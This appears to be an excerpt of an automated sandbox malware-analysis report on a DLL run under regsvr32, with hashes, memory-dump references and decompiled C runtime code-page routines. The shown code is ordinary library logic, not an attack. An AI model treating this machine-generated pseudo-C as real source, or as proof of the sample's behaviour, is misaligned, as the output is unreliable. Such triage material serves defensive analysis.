Opcode Fuzzy Hash: 336a0f6871cc0839c1891df4b8ea75839a0d72cea4f696164714c787f116b876
Instruction Fuzzy Hash: 42316A715187858BE348DF28C49641ABBE0FB8D30CF504B1DF4CAA6291D7B9D606CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002803C Relevance: 2.6, Strings: 2, Instructions: 68COMMON

Download Yara Rule

Strings

`m|, xrefs: 00000001800280D4
:BR, xrefs: 000000018002812D

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :BR$`m|
API String ID: 0-2084761963
Opcode ID: c86a910794b99387b1e827bb57008d035b85f1269f45838a73dfdb548bdb18ab
Instruction ID: 8875052c878aa5f086f6ebbe7f0ccb4dfcd310fd55accb38c7a1d62b59f553bb
Opcode Fuzzy Hash: c86a910794b99387b1e827bb57008d035b85f1269f45838a73dfdb548bdb18ab
Instruction Fuzzy Hash: 32212670119B889BE389CF29C88A51BBBE1FB98354F905A2DF496C73A0D774D904CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800056BC Relevance: 2.6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

Strings

oo, xrefs: 00000001800056C8
`8, xrefs: 00000001800056D6

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `8$oo
API String ID: 0-1789113731
Opcode ID: 93936368866e8ea9984f41d98eff6165b4bc0ac6a5c0ddfb4009887b9c284a0f
Instruction ID: 340cd16e13130dd4fec4555bd42106758ff52c8f7ca0641c81baec826237bd3d
Opcode Fuzzy Hash: 93936368866e8ea9984f41d98eff6165b4bc0ac6a5c0ddfb4009887b9c284a0f
Instruction Fuzzy Hash: 33317FB452C381AFD389DF29D19981BBBF1BB89304F806A2DF9C687250D374D445CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001650 Relevance: 2.6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

Strings

#X, xrefs: 00000001800016D0
$, xrefs: 0000000180001737

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$$
API String ID: 0-3297284484
Opcode ID: 8cbc43dd32f8f0b3eb58f251e1ac53a6f25b1feabf6d5f36d043013a16ec9783
Instruction ID: de05bdac1ad6476cf742245aa5080a774c1d6ec10043fba87ca9966dae576aef
Opcode Fuzzy Hash: 8cbc43dd32f8f0b3eb58f251e1ac53a6f25b1feabf6d5f36d043013a16ec9783
Instruction Fuzzy Hash: 4E213BB56187848BD349DF28D15A51ABBE0BB8D30CF840B1DF4CAA7260D7789645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 1003A4F0 Relevance: 1.8, APIs: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 80%

			E1003A4F0(signed long long __ecx, void* __eflags, long long __rbx, long long __rdx, signed long long __rdi, long long __rsi, signed long long __rbp, signed char* __r8, signed long long __r10, long long __r12, long long __r13, void* _a24, void* _a32) {
				void* _v8;
				void* _v16;
				long long _v24;
				long long _v32;
				signed int _v48;
				char _v66;
				char _v72;
				signed long long _t118;
				signed char _t120;
				signed long long _t133;
				signed int _t136;
				signed int _t137;
				signed char _t145;
				signed int _t147;
				signed int _t148;
				signed int _t154;
				signed int _t158;
				signed long long _t164;
				signed long long _t165;
				signed long long _t166;
				signed long long _t167;
				signed long long _t168;
				signed long long _t177;
				intOrPtr* _t179;
				signed char* _t181;
				signed char* _t182;
				signed long long _t188;
				void* _t192;
				void* _t194;
				signed long long _t195;
				void* _t197;
				signed char* _t202;
				signed long long _t205;
				void* _t209;
				void* _t210;
				signed long long _t211;
				signed long long _t213;
				signed char* _t214;
				signed long long _t215;
				signed long long _t216;
				signed long long _t219;
				signed long long _t224;
				signed long long _t225;
				signed char* _t226;
				long long _t227;
				signed long long _t228;

				_t227 = __r12;
				_t224 = __r10;
				_t214 = __r8;
				_t211 = __rbp;
				_t207 = __rsi;
				_t205 = __rdi;
				_t198 = __rdx;
				_t151 = __ecx;
				_t225 = _t213;
				_t177 =  *0x100b1640; // 0xf93099fb11e7
				_v48 = _t177 ^ _t213;
				 *((long long*)(_t225 + 0x18)) = __rbx;
				 *((long long*)(_t225 + 0x20)) = __rbp;
				 *((long long*)(_t225 - 8)) = __rsi;
				 *((long long*)(_t225 - 0x10)) = __rdi;
				_t184 = __rdx;
				_t118 = E1003A3E0(__ecx, _t177 ^ _t213, __rdx, __rdi, __rsi, __rbp, __r8, __r12);
				_t164 = _t118;
				if(_t118 != 0) {
					_v24 = _t227;
					_t168 = 0;
					__eflags = 0;
					_v32 = __r13;
					_t151 = 0;
					_t228 = _t211;
					_t179 = 0x100b22a0;
					while(1) {
						__eflags =  *_t179 - _t164;
						if( *_t179 == _t164) {
							break;
						}
						_t151 = _t151 + 1;
						_t228 = _t228 + 1;
						_t179 = _t179 + 0x30;
						__eflags = _t151 - 5;
						if(_t151 < 5) {
							continue;
						}
						_t151 = _t164;
						_t133 = GetCPInfo(??, ??);
						__eflags = _t133;
						if(_t133 == 0) {
							__eflags =  *0x100b8008 - _t168; // 0x0
							if(__eflags == 0) {
								L57:
								goto L58;
							}
							_t59 = _t184 + 0x1c; // 0x1c
							_t209 = _t59;
							_t215 = _t205;
							E1002E410(_t133, _t151, 0, _t209,  &_v72, _t215);
							 *(_t184 + 4) = _t168;
							 *(_t184 + 8) = _t168;
							 *(_t184 + 0xc) = _t168;
							 *(_t184 + 0x10) = _t211;
							__eflags = 0x100b1e60;
							 *(_t184 + 0x18) = _t168;
							do {
								_t136 =  *(_t209 + 0x100b1e60) & 0x000000ff;
								_t209 = _t209 + 1;
								_t205 = _t205 - 1;
								__eflags = _t205;
								 *(_t209 - 1) = _t136;
							} while (_t205 != 0);
							_t67 = _t184 + 0x11d; // 0x11d
							_t194 = _t67;
							r8d = 0x80;
							__eflags = 0x100b1e61;
							do {
								_t137 =  *(_t194 + 0x100b1e60) & 0x000000ff;
								_t194 = _t194 + 2;
								_t215 = _t215 - 1;
								__eflags = _t215;
								 *(_t194 - 2) = _t137;
								 *((char*)(_t194 - 1)) =  *(_t194 + 0x100b1e5f) & 0x000000ff;
							} while (_t215 != 0);
							L56:
							__eflags = 0;
							goto L57;
						}
						_t23 = _t184 + 0x1c; // 0x1c
						_t195 = _t23;
						r8d = 0x101;
						E1002E410(_t133, _t151, 0, _t195,  &_v72, _t214);
						__eflags = _v72 - 1;
						 *(_t184 + 4) = _t164;
						 *(_t184 + 0xc) = _t168;
						if(_v72 <= 1) {
							 *(_t184 + 8) = _t168;
							 *(_t184 + 0x10) = _t211;
							 *(_t184 + 0x18) = _t168;
							L55:
							E1003A0C0(_t184, _t184, _t205, _t207, _t214);
							goto L56;
						}
						__eflags = _v66 - bpl;
						_t202 =  &_v66;
						if(_v66 == bpl) {
							L18:
							_t32 = _t184 + 0x1f; // 0x1f
							_t181 = _t32;
							do {
								 *(_t181 - 1) =  *(_t181 - 1) | 0x00000008;
								 *_t181 =  *_t181 | 0x00000008;
								_t181 =  &(_t181[2]);
								_t195 = _t195 - 1;
								__eflags = _t195;
							} while (_t195 != 0);
							_t151 =  *(_t184 + 4) - 0x3a4;
							__eflags = _t151;
							if(_t151 == 0) {
								 *(_t184 + 8) = 1;
								 *(_t184 + 0xc) = 0x411;
								 *(_t184 + 0x10) = _t211;
								 *(_t184 + 0x18) = _t168;
							} else {
								_t151 = _t151 - 4;
								__eflags = _t151;
								if(_t151 == 0) {
									 *(_t184 + 8) = 1;
									 *(_t184 + 0xc) = 0x804;
									 *(_t184 + 0x10) = _t211;
									 *(_t184 + 0x18) = _t168;
								} else {
									_t151 = _t151 - 0xd;
									__eflags = _t151;
									if(_t151 == 0) {
										 *(_t184 + 8) = 1;
										 *(_t184 + 0xc) = 0x412;
										 *(_t184 + 0x10) = _t211;
										 *(_t184 + 0x18) = _t168;
									} else {
										__eflags = _t151 - 1;
										if(_t151 == 1) {
											 *(_t184 + 8) = 1;
											 *(_t184 + 0xc) = 0x404;
											 *(_t184 + 0x10) = _t211;
											 *(_t184 + 0x18) = _t168;
										} else {
											 *(_t184 + 0xc) = _t168;
											 *(_t184 + 8) = 1;
											 *(_t184 + 0x10) = _t211;
											 *(_t184 + 0x18) = _t168;
										}
									}
								}
							}
							goto L55;
						} else {
							while(1) {
								_t145 = _t202[1] & 0x000000ff;
								__eflags = _t145;
								if(_t145 == 0) {
									goto L18;
								}
								r8d =  *_t202 & 0x000000ff;
								_t154 = _t145 & 0x000000ff;
								__eflags = r8d - _t154;
								if(r8d > _t154) {
									L17:
									_t202 =  &(_t202[2]);
									__eflags =  *_t202 - bpl;
									if( *_t202 != bpl) {
										continue;
									}
									goto L18;
								} else {
									_t31 = _t184 + 0x1d; // 0x1d
									_t182 =  &(_t214[_t31]);
									__eflags = _t154 - r8d + 1;
									do {
										 *_t182 =  *_t182 | 0x00000004;
										_t182 =  &(_t182[1]);
										_t195 = _t195 - 1;
										__eflags = _t195;
									} while (_t195 != 0);
									goto L17;
								}
							}
							goto L18;
						}
					}
					_t73 = _t184 + 0x1c; // 0x1c
					r8d = 0x101;
					E1002E410(_t118, _t151, 0, _t73, _t198, _t214);
					_t226 = 0x100b2298;
					r10d = 4;
					_t219 = (_t228 + _t228 * 2 << 4) + 0x100b22b0;
					__eflags = _t219;
					do {
						__eflags =  *_t219 - bpl;
						_t214 = _t219;
						if( *_t219 == bpl) {
							goto L45;
						}
						while(1) {
							_t120 = _t214[1] & 0x000000ff;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L45;
							}
							_t158 =  *_t214 & 0x000000ff;
							__eflags = _t158 - (_t120 & 0x000000ff);
							if(_t158 > (_t120 & 0x000000ff)) {
								L44:
								_t214 =  &(_t214[2]);
								__eflags =  *_t214 - bpl;
								if( *_t214 != bpl) {
									continue;
								}
								goto L45;
							}
							_t78 = _t184 + 0x1d; // 0x21
							_t192 = _t198 + _t78;
							do {
								_t158 = _t158 + 1;
								_t192 = _t192 + 1;
								 *(_t192 - 1) =  *(_t192 - 1) |  *_t226 & 0x000000ff;
								__eflags = _t158 - (_t214[1] & 0x000000ff);
							} while (_t158 <= (_t214[1] & 0x000000ff));
							goto L44;
						}
						L45:
						_t219 = _t219 + 8;
						_t226 =  &(_t226[1]);
						_t224 = _t224 - 1;
						__eflags = _t224;
					} while (_t224 != 0);
					 *(_t184 + 4) = _t164;
					_t165 = _t164 - 0x3a4;
					__eflags = _t165;
					 *(_t184 + 8) = 1;
					if(_t165 == 0) {
						_t168 = 0x411;
					} else {
						_t166 = _t165 - 4;
						__eflags = _t166;
						if(_t166 == 0) {
							_t168 = 0x804;
						} else {
							_t167 = _t166 - 0xd;
							__eflags = _t167;
							if(_t167 == 0) {
								_t168 = 0x412;
							} else {
								__eflags = _t167 - 1;
								if(_t167 == 1) {
									_t168 = 0x404;
								}
							}
						}
					}
					 *(_t184 + 0xc) = _t168;
					_t188 = _t228 + _t228 * 2 + _t228 + _t228 * 2;
					__eflags = _t188;
					 *(_t184 + 0x10) =  *(0x100b22a0 + 4 + _t188 * 8) & 0x0000ffff;
					 *((short*)(_t184 + 0x12)) =  *(0x100b22a0 + 6 + _t188 * 8) & 0x0000ffff;
					 *((short*)(_t184 + 0x14)) =  *(0x100b22a0 + 8 + _t188 * 8) & 0x0000ffff;
					 *((short*)(_t184 + 0x16)) =  *(0x100b22a0 + 0xa + _t188 * 8) & 0x0000ffff;
					 *(_t184 + 0x18) =  *(0x100b22a0 + 0xc + _t188 * 8) & 0x0000ffff;
					 *((short*)(_t184 + 0x1a)) =  *(0x100b22a0 + 0xe + _t188 * 8) & 0x0000ffff;
					goto L55;
				} else {
					_t6 = _t184 + 0x1c; // 0x1c
					_t210 = _t6;
					_t216 = _t205;
					E1002E410(_t118, __ecx, 0, _t210, __rdx, _t216);
					 *((intOrPtr*)(__rdx + 4)) = 0;
					 *((intOrPtr*)(__rdx + 8)) = 0;
					 *((intOrPtr*)(__rdx + 0xc)) = 0;
					 *(__rdx + 0x10) = _t211;
					 *((intOrPtr*)(__rdx + 0x18)) = 0;
					goto L2;
					do {
						L4:
						_t148 =  *(_t197 + 0x100b1e60) & 0x000000ff;
						_t197 = _t197 + 2;
						_t216 = _t216 - 1;
						 *(_t197 - 2) = _t148;
						 *((char*)(_t197 - 1)) =  *(0x100b1e61 + _t197 - 2) & 0x000000ff;
					} while (_t216 != 0);
					L58:
					return E1002FF40(_t151, _v48 ^ _t213);
					L2:
					_t147 =  *(0x100b1e60 + _t210) & 0x000000ff;
					_t210 = _t210 + 1;
					_t205 = _t205 - 1;
					 *(_t210 - 1) = _t147;
					if(_t205 != 0) {
						goto L2;
					} else {
						_t14 = _t184 + 0x11d; // 0x11d
						_t197 = _t14;
						r8d = 0x80;
						goto L4;
					}
				}
			}

0x1003a4f0
0x1003a4f0
0x1003a4f0
0x1003a4f0
0x1003a4f0
0x1003a4f0
0x1003a4f0
0x1003a4f0
0x1003a4f0
0x1003a4f7
0x1003a501
0x1003a506
0x1003a50a
0x1003a50e
0x1003a512
0x1003a516
0x1003a519
0x1003a520
0x1003a522
0x1003a5b1
0x1003a5b6
0x1003a5b6
0x1003a5b8
0x1003a5c4
0x1003a5c6
0x1003a5c9
0x1003a5d0
0x1003a5d0
0x1003a5d2
0x00000000
0x00000000
0x1003a5d8
0x1003a5db
0x1003a5df
0x1003a5e3
0x1003a5e6
0x00000000
0x00000000
0x1003a5ed
0x1003a5ef
0x1003a5f5
0x1003a5f7
0x1003a72e
0x1003a734
0x1003a8e9
0x00000000
0x1003a8ee
0x1003a73a
0x1003a73a
0x1003a748
0x1003a74b
0x1003a750
0x1003a753
0x1003a756
0x1003a760
0x1003a764
0x1003a767
0x1003a770
0x1003a770
0x1003a774
0x1003a778
0x1003a778
0x1003a77c
0x1003a77c
0x1003a788
0x1003a788
0x1003a78f
0x1003a795
0x1003a7a0
0x1003a7a0
0x1003a7a4
0x1003a7a8
0x1003a7a8
0x1003a7ac
0x1003a7b5
0x1003a7b5
0x1003a8e7
0x1003a8e7
0x00000000
0x1003a8e7
0x1003a5fd
0x1003a5fd
0x1003a601
0x1003a609
0x1003a60e
0x1003a613
0x1003a616
0x1003a619
0x1003a71f
0x1003a722
0x1003a726
0x1003a8df
0x1003a8e2
0x00000000
0x1003a8e2
0x1003a61f
0x1003a624
0x1003a629
0x1003a666
0x1003a666
0x1003a666
0x1003a670
0x1003a670
0x1003a674
0x1003a677
0x1003a67b
0x1003a67b
0x1003a67b
0x1003a684
0x1003a684
0x1003a68a
0x1003a704
0x1003a710
0x1003a713
0x1003a717
0x1003a68c
0x1003a68c
0x1003a68c
0x1003a68f
0x1003a6e9
0x1003a6f5
0x1003a6f8
0x1003a6fc
0x1003a691
0x1003a691
0x1003a691
0x1003a694
0x1003a6ce
0x1003a6da
0x1003a6dd
0x1003a6e1
0x1003a696
0x1003a696
0x1003a699
0x1003a6b3
0x1003a6bf
0x1003a6c2
0x1003a6c6
0x1003a69b
0x1003a69b
0x1003a69e
0x1003a6a5
0x1003a6a9
0x1003a6ac
0x1003a699
0x1003a694
0x1003a68f
0x00000000
0x1003a630
0x1003a630
0x1003a630
0x1003a634
0x1003a636
0x00000000
0x00000000
0x1003a638
0x1003a63c
0x1003a63f
0x1003a642
0x1003a65d
0x1003a65d
0x1003a661
0x1003a664
0x00000000
0x00000000
0x00000000
0x1003a644
0x1003a647
0x1003a647
0x1003a64c
0x1003a650
0x1003a650
0x1003a653
0x1003a657
0x1003a657
0x1003a657
0x00000000
0x1003a650
0x1003a642
0x00000000
0x1003a630
0x1003a629
0x1003a7c9
0x1003a7cd
0x1003a7d5
0x1003a7e9
0x1003a7f0
0x1003a7f6
0x1003a7f6
0x1003a800
0x1003a800
0x1003a803
0x1003a806
0x00000000
0x00000000
0x1003a810
0x1003a810
0x1003a815
0x1003a817
0x00000000
0x00000000
0x1003a819
0x1003a820
0x1003a822
0x1003a847
0x1003a847
0x1003a84b
0x1003a84e
0x00000000
0x00000000
0x00000000
0x1003a84e
0x1003a824
0x1003a824
0x1003a830
0x1003a834
0x1003a837
0x1003a83b
0x1003a843
0x1003a843
0x00000000
0x1003a830
0x1003a850
0x1003a850
0x1003a854
0x1003a858
0x1003a858
0x1003a858
0x1003a85e
0x1003a861
0x1003a861
0x1003a867
0x1003a86e
0x1003a894
0x1003a870
0x1003a870
0x1003a870
0x1003a873
0x1003a88d
0x1003a875
0x1003a875
0x1003a875
0x1003a878
0x1003a886
0x1003a87a
0x1003a87a
0x1003a87d
0x1003a87f
0x1003a87f
0x1003a87d
0x1003a878
0x1003a873
0x1003a899
0x1003a8a0
0x1003a8a0
0x1003a8a9
0x1003a8b3
0x1003a8bd
0x1003a8c7
0x1003a8d1
0x1003a8db
0x00000000
0x1003a528
0x1003a528
0x1003a528
0x1003a536
0x1003a539
0x1003a547
0x1003a54a
0x1003a54d
0x1003a550
0x1003a557
0x1003a557
0x1003a590
0x1003a590
0x1003a590
0x1003a594
0x1003a598
0x1003a59c
0x1003a5a5
0x1003a5a5
0x1003a8f3
0x1003a91e
0x1003a560
0x1003a560
0x1003a564
0x1003a568
0x1003a56c
0x1003a56f
0x00000000
0x1003a571
0x1003a578
0x1003a578
0x1003a57f
0x00000000
0x1003a585
0x1003a56f

APIs

Part of subcall function 1003A3E0: GetOEMCP.KERNEL32(?,?,?,?,1003A965,?,?,?,?,?,?,?,?,1003AB77), ref: 1003A488

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,1003A9AB), ref: 1003A5EF

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 748f8b4bc910eff2d5492ddc1fdb2e5d3c52b8dd4941377658a7530c556cf2eb
Instruction ID: df4ad6e927df1395b15847767539bd10ac55bd698b0ff1b8498c35810d7a6598
Opcode Fuzzy Hash: 748f8b4bc910eff2d5492ddc1fdb2e5d3c52b8dd4941377658a7530c556cf2eb
Instruction Fuzzy Hash: 8EB1F0B7E087C08AD756CF35D44436DBBA0F306B89F98801ADB884B349DB79DA85DB50

Uniqueness

Uniqueness Score: -1.00%

Function 10046D80 Relevance: 1.8, APIs: 1, Instructions: 271
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E10046D80(signed int __ecx, void* __edi, void* __esi, long long __rbx, long long __rcx, void* __rdx, long long __rdi, long long __rsi, signed long long __rbp, void* __r8, void* __r9, void* __r10, long long __r12, long long __r13, long long __r14, long long __r15, void* _a16, void* _a24, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				signed int _v56;
				char _v73;
				char _v74;
				signed short _v80;
				signed long long _v104;
				signed long long _v112;
				signed int _v120;
				signed int _v136;
				signed int _v144;
				signed int* _v152;
				signed int _v160;
				signed int* _v168;
				signed int _t111;
				signed short _t113;
				signed int _t114;
				signed char _t131;
				signed char _t134;
				signed int _t143;
				intOrPtr _t181;
				signed long long _t185;
				signed long long _t186;
				int* _t192;
				signed long long _t193;
				long long _t195;
				signed long long _t205;
				signed char* _t221;
				signed char* _t225;
				signed long long _t227;
				signed long long _t230;
				signed long long _t232;
				long long _t234;
				signed long long _t235;
				void* _t241;
				signed long long _t242;
				signed int* _t244;
				long long _t246;
				signed long long _t248;
				long long _t250;
				long long _t253;
				signed long long _t255;

				_t241 = __r10;
				_t232 = __rbp;
				_t220 = __rdx;
				_t197 = __rcx;
				_t153 = __esi;
				_t138 = __ecx;
				_t242 = _t235;
				_t185 =  *0x100b1640; // 0xf93099fb11e7
				_t186 = _t185 ^ _t235;
				_v56 = _t186;
				 *((long long*)(_t242 + 0x10)) = __rbx;
				 *((long long*)(_t242 + 0x18)) = __rbp;
				 *((long long*)(_t242 + 0x20)) = __rsi;
				 *((long long*)(_t242 - 8)) = __rdi;
				 *((long long*)(_t242 - 0x18)) = __r13;
				_t230 = __rbp;
				 *((long long*)(_t242 - 0x28)) = __r15;
				_t195 = __rcx;
				_v112 = __rbp;
				_t248 = __rbp;
				_t255 = __rbp;
				_t227 = __rbp;
				 *((long long*)(_t242 - 0x60)) = __rcx;
				 *((long long*)(_t242 - 0x58)) = __rbp;
				if( *((intOrPtr*)(__rcx + 0x14)) == __esi) {
					if( *((intOrPtr*)(__rcx + 0x130)) != 0) {
						asm("lock add dword [eax], 0xffffffff");
					}
					 *(_t197 + 0x130) = _t232;
					 *(_t197 + 0x138) = _t232;
					 *((long long*)(_t197 + 0x140)) = 0x1009cf10;
					 *((intOrPtr*)(_t197 + 0x10c)) = 1;
					 *((long long*)(_t197 + 0x148)) = 0x1009d3a0;
					 *((long long*)(_t197 + 0x150)) = 0x1009d520;
					L36:
					return E1002FF40(_t138, _v56 ^ _t235);
				}
				 *((long long*)(_t242 - 0x10)) = __r12;
				_t244 = __rcx + 4;
				 *((long long*)(_t242 - 0x20)) = __r14;
				if( *((intOrPtr*)(__rcx + 4)) != __esi) {
					L3:
					E10038810(4, _t186, _t195, _t197, _t227, _t230, _t232);
					_v112 = _t186;
					E10038890(_t186, _t195, _t197, _t220, _t227, _t230, _t232, _t244);
					_t230 = _t186;
					E10038890(_t186, _t195, _t197, _t220, _t227, _t230, _t232, _t244);
					_t248 = _t186;
					_v104 = _t186;
					E10038890(_t186, _t195, _t197, _t220, _t227, _t230, _t232, _t244);
					_t138 = 0x101;
					_t255 = _t186;
					E10038890(_t186, _t195, _t197, _t220, _t227, _t230, _t232, _t244);
					_t227 = _t186;
					_t186 = _v112;
					if(_t186 == 0 || _t230 == 0 || _t227 == 0 || _t248 == 0 || _t255 == 0) {
						L37:
						E1002E330(_t186, _v112);
						E1002E330(_t186, _t230);
						E1002E330(_t186, _t248);
						E1002E330(_t186, _t255);
						E1002E330(_t186, _t227);
						goto L35;
					} else {
						 *_t186 = 0;
						_t205 = _t227;
						_t111 = 0;
						do {
							 *_t205 = _t111;
							_t111 = _t111 + 1;
							_t205 = _t205 + 1;
						} while (_t111 < 0x100);
						_t138 =  *_t244;
						_t221 =  &_v80;
						if(GetCPInfo(??, ??) == 0) {
							goto L37;
						}
						_t113 = _v80;
						if(_t113 > 5) {
							goto L37;
						}
						_t114 = _t113 & 0x0000ffff;
						_v120 = _t114;
						if(_t114 <= 1 || _v74 == bpl) {
							L20:
							_v144 = 0;
							_v152 = 0;
							_v160 =  *_t244;
							_t33 = _t230 + 0x100; // 0x100
							_t253 = _t33;
							r9d = 0x100;
							_t237 = _t227;
							_t138 = 0;
							_v168 = _t253;
							if(E10045B30(0, 1, _t195, _t205, _t221, _t227, _t230, _t232, _t227, _t241, _t242, _t244, _t248, _t253, _t255) == 0) {
								goto L37;
							}
							_v136 = 0;
							_v144 =  *_t244;
							_t38 = _t248 + 0x81; // 0x81
							_v152 = 0xff;
							_v160 = _t38;
							_t41 = _t227 + 1; // 0x1
							r8d = 0x100;
							_t138 = 0;
							_v168 = 0xff;
							if(E10045730(0,  *((intOrPtr*)(_t195 + 0x14)), _t153, _t195, _t38, _t221, _t227, _t230, _t232, _t237, _t41, _t241, _t242, _t244, _t248, _t253, _t255) == 0) {
								goto L37;
							}
							_v136 = 0;
							_v144 =  *_t244;
							_t46 = _t255 + 0x81; // 0x81
							_v152 = 0xff;
							_v160 = _t46;
							_t49 = _t227 + 1; // 0x1
							r8d = 0x200;
							_t138 = 0;
							_v168 = 0xff;
							if(E10045730(0,  *((intOrPtr*)(_t195 + 0x14)), _t153, _t195, _t46, _t221, _t227, _t230, _t232, _t237, _t49, _t241, _t242, _t244, _t248, _t253, _t255) == 0) {
								goto L37;
							}
							_t52 = _t248 + 0x80; // 0x80
							_t246 = _t52;
							_t53 = _t230 + 0xfe; // 0xfe
							_t234 = _t53;
							 *_t234 = 0;
							 *((char*)(_t248 + 0x7f)) = 0;
							_t55 = _t255 + 0x80; // 0x80
							_t250 = _t55;
							 *((char*)(_t255 + 0x7f)) = 0;
							 *_t246 = 0;
							 *_t250 = 0;
							if(_v120 <= 1 || _v74 == 0) {
								L31:
								_t64 = _t230 + 0x200; // 0x200
								r8d = 0xfe;
								E10032E50(_t138, _t230, _t64, _t237);
								_t191 = _v104;
								r8d = 0x7f;
								_t66 = _t191 + 0x100; // 0x17f
								E10032E50(_t138, _v104, _t66, _t237);
								_t67 = _t255 + 0x100; // 0x100
								r8d = 0x7f;
								E10032E50(_t138, _t255, _t67, _t237);
								_t181 =  *((intOrPtr*)(_t195 + 0x130));
								if(_t181 != 0) {
									asm("lock add dword [ecx], 0xffffffff");
									if(_t181 == 0) {
										E1002E330(_t191,  *((intOrPtr*)(_t195 + 0x138)) - 0xfe);
										E1002E330(_t191,  *((intOrPtr*)(_t195 + 0x148)) + 0xffffff80);
										E1002E330(_t191,  *((intOrPtr*)(_t195 + 0x150)) + 0xffffff80);
										E1002E330(_t191,  *((intOrPtr*)(_t195 + 0x130)));
									}
								}
								_t192 = _v112;
								 *_t192 = 1;
								 *((long long*)(_t195 + 0x130)) = _t192;
								 *((long long*)(_t195 + 0x140)) = _t253;
								 *((long long*)(_t195 + 0x138)) = _t234;
								 *((long long*)(_t195 + 0x148)) = _t246;
								 *(_t195 + 0x10c) = _v120;
								 *((long long*)(_t195 + 0x150)) = _t250;
								E1002E330(_t192, _t227);
								L35:
								goto L36;
							} else {
								_t225 =  &_v73;
								while(1) {
									_t131 =  *_t225 & 0x000000ff;
									if(_t131 == 0) {
										goto L31;
									}
									_t138 =  *(_t225 - 1) & 0x000000ff;
									if(_t138 > (_t131 & 0x000000ff)) {
										L30:
										_t225 =  &(_t225[2]);
										if( *(_t225 - 1) != 0) {
											continue;
										}
										goto L31;
									}
									do {
										_t193 = _t138;
										_t138 = _t138 + 1;
										 *((short*)(_t230 + 0x100 + _t193 * 2)) = 0x8000;
									} while (_t138 <= ( *_t225 & 0x000000ff));
									goto L30;
								}
								goto L31;
							}
						} else {
							_t221 =  &_v73;
							while(1) {
								_t134 =  *_t221 & 0x000000ff;
								if(_t134 == 0) {
									goto L20;
								}
								_t143 =  *(_t221 - 1) & 0x000000ff;
								if(_t143 > (_t134 & 0x000000ff)) {
									L19:
									_t221 =  &(_t221[2]);
									if( *(_t221 - 1) != bpl) {
										continue;
									}
									goto L20;
								}
								do {
									_t186 = _t143;
									_t143 = _t143 + 1;
									 *((char*)(_t186 + _t227)) = 0x20;
								} while (_t143 <= ( *_t221 & 0x000000ff));
								goto L19;
							}
							goto L20;
						}
					}
				}
				r8d =  *(__rcx + 0x30) & 0x0000ffff;
				_t197 = _t242 - 0x60;
				r9d = 0x1004;
				_v168 = _t244;
				if(E10040640(__ecx, 0, __rcx, _t242 - 0x60, __rdx, __rbp, __rbp, __r8, _t244, __rbp, __r14, __rbp) != 0) {
					goto L37;
				}
				goto L3;
			}

0x10046d80
0x10046d80
0x10046d80
0x10046d80
0x10046d80
0x10046d80
0x10046d80
0x10046d8a
0x10046d91
0x10046d94
0x10046d9c
0x10046da0
0x10046da6
0x10046daa
0x10046dae
0x10046db2
0x10046db5
0x10046db9
0x10046dbf
0x10046dc4
0x10046dc7
0x10046dca
0x10046dcd
0x10046dd1
0x10046dd5
0x100471ee
0x100471f0
0x100471f0
0x100471fb
0x10047202
0x10047209
0x10047217
0x10047221
0x1004722f
0x10047168
0x100471af
0x100471af
0x10046dde
0x10046de2
0x10046de6
0x10046dea
0x10046e0f
0x10046e14
0x10046e23
0x10046e28
0x10046e37
0x10046e3a
0x10046e49
0x10046e4c
0x10046e51
0x10046e5b
0x10046e60
0x10046e63
0x10046e68
0x10046e6b
0x10046e73
0x100471b0
0x100471b5
0x100471bd
0x100471c5
0x100471cd
0x100471d5
0x00000000
0x10046e9d
0x10046e9d
0x10046e9f
0x10046ea2
0x10046eb0
0x10046eb0
0x10046eb2
0x10046eb5
0x10046eb9
0x10046ec0
0x10046ec4
0x10046ed1
0x00000000
0x00000000
0x10046ed7
0x10046ede
0x00000000
0x00000000
0x10046ee4
0x10046eea
0x10046eee
0x10046f3b
0x10046f3f
0x10046f43
0x10046f47
0x10046f4b
0x10046f4b
0x10046f52
0x10046f58
0x10046f60
0x10046f62
0x10046f6e
0x00000000
0x00000000
0x10046f7b
0x10046f7f
0x10046f83
0x10046f8a
0x10046f92
0x10046f97
0x10046f9b
0x10046fa1
0x10046fa3
0x10046fb2
0x00000000
0x00000000
0x10046fbf
0x10046fc3
0x10046fc7
0x10046fce
0x10046fd6
0x10046fdb
0x10046fdf
0x10046fe5
0x10046fe7
0x10046ff6
0x00000000
0x00000000
0x10047001
0x10047001
